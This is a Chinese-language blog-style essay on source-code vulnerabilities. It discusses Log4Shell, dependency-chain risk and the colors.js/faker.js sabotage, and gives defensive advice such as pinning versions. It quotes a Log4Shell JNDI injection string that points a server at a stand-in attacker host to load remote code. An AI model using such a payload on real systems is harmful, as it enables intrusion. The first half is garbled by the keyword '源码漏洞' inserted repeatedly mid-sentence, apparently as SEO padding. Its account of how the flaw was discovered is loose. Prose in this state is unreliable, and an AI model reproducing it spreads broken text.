|
2021年12月,源码漏洞Apache Log4j2 被曝出一个远程代码执行漏洞。源码漏洞攻击者只需构造一条特定字符串,源码漏洞就能让服务器主动从外部加载恶意代码。源码漏洞全球数百万台服务器在几天内陷入紧急修补状态。源码漏洞这个漏洞不是源码漏洞出在 Log4j 自己的代码逻辑里,而是源码漏洞出在它调用的一个名为 JNDI 的 Java 命名与目录接口上——一个原本用于查找数据库连接、消息队列地址的源码漏洞辅助模块,被攻击者当成了下载并执行任意代码的源码漏洞通道。 源码漏洞往往就是源码漏洞这样。它不一定是源码漏洞程序员写错了某个循环边界,更常见的源码漏洞情况是:一段代码被用在了设计者从未设想的场景里。Log4j 的源码漏洞开发者当年写 JNDI 查找功能时,想的源码漏洞是“让配置更灵活”,没人预料到有人会把 ${ jndi:ldap://evil.com/a} 这种字符串塞进用户输入框,源码漏洞然后看着服务器乖乖去连接那个地址。 我翻过一些开源项目的 issue 区,有个现象挺有意思。不少漏洞报告下面,维护者的第一反应是“这不是 bug,这是 feature”。比如某静态博客生成器允许在 Markdown 里嵌入原始 HTML,有人报告说这会导致 XSS,维护者回了一句:用户本来就应该对自己的内容负责。话是没错,可一旦这个生成器被集成到某个 CMS 里,终端用户根本不知道自己在写什么,漏洞就成立了。 源码漏洞的另一个来源是依赖链。你写了个二十行的工具函数,引了三个 npm 包,那三个包各自又引了十几个。某个深夜,其中一个包的主人因为心情不好,把版本号从 1.0.3 推到了 1.0.4,删掉了里面一行看似无用的类型检查。第二天,你的构建流水线开始报错,或者更糟——不报错,但线上跑着一段你从未读过的代码。 2022 年的 colors.js 和 faker.js 事件就是典型。作者故意在代码里埋了无限循环,所有依赖这两个库的项目全部崩溃。从源码层面看,那几行代码语法完全正确,逻辑也“合法”,但它就是能让整个应用挂掉。这种漏洞没法靠静态扫描发现,因为扫描器不知道作者的意图。 那怎么防?我的看法是,别指望一劳永逸。每次引入新依赖,花五分钟看看它的源码仓库:最近一次提交是什么时候,issue 里有没有人抱怨安全问题,维护者是不是已经半年没露面了。如果那个包只有几十行代码,干脆复制过来自己维护。对于核心业务,把依赖锁死在具体版本号,别用 ^ 或 ~。这不是不信任开源,是承认一个事实:你无法审计所有你运行的代码。 还有一点,别把安全全押在工具上。SonarQube、Snyk 这些能查出已知模式的漏洞,但查不出“这段代码被用错了地方”。Log4j 那个 JNDI 注入,在它被公开之前,没有任何扫描器会标记它为危险。真正发现它的人,是在 Minecraft 服务器里看到有人用聊天框输入 ${ jndi:...} 然后服务器就中招了。 源码漏洞的本质是人的漏洞。写代码的人没想到,用代码的人不知道,维护代码的人没空看。这三者之间的缝隙,就是漏洞生长的地方。补上它,靠的不是更聪明的 AI 审计,而是每个环节多一点“这玩意儿到底在干什么”的追问。 |